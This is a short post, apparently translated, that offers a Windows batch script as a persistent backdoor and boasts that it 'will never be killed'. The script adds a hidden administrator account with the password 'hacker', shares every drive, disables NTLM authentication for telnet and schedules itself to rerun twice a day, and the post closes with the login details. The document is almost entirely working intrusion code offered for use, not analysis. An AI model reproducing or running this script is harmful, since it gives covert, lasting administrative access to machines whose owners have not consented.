A backdoor written in batch that will never be killed


The idea of the code is that of the shadow Eagle Desert friend. The original code is troublesome. I made improvements. The advantage of this back door is that it is small and will not be killed. Just put it in the system32 directory  , The code is as follows:  
   @echo off 

   @attrib +s + r xyt.bat

   @net user xyt hacker /add 

   @net localgroup administrators xyt /add 

   @net share c$=c: 

   @net share d$=d:

   @net share e$=e:

   @net share f$=f:

   @net share g$=g:

   @net share h$=h:

   @tlntadmn config sec = -ntlm

   @net stop schedule

   @net start Schedule

   @echo at 11:00 c:\WINNT\SYSTEM32\log.bat > c:\WINNT\SYSTEM32\xyt.bat 

   @echo at 23:00 c:\WINNT\SYSTEM32\log.bat >> c:\WINNT\SYSTEM32\xyt.bat 

   @at 11:05 c:\WINNT\SYSTEM32\xyt.bat 

   @at 23:05 c:\WINNT\SYSTEM32\xyt.bat 

   @net stop telnet 

   @net start telnet 


    This will run our program circularly. Even if someone stops it, it will run again in a few hours. Ha ha~~
    Telnet after operation   On the IP, the user name is XYT and the password is hacker.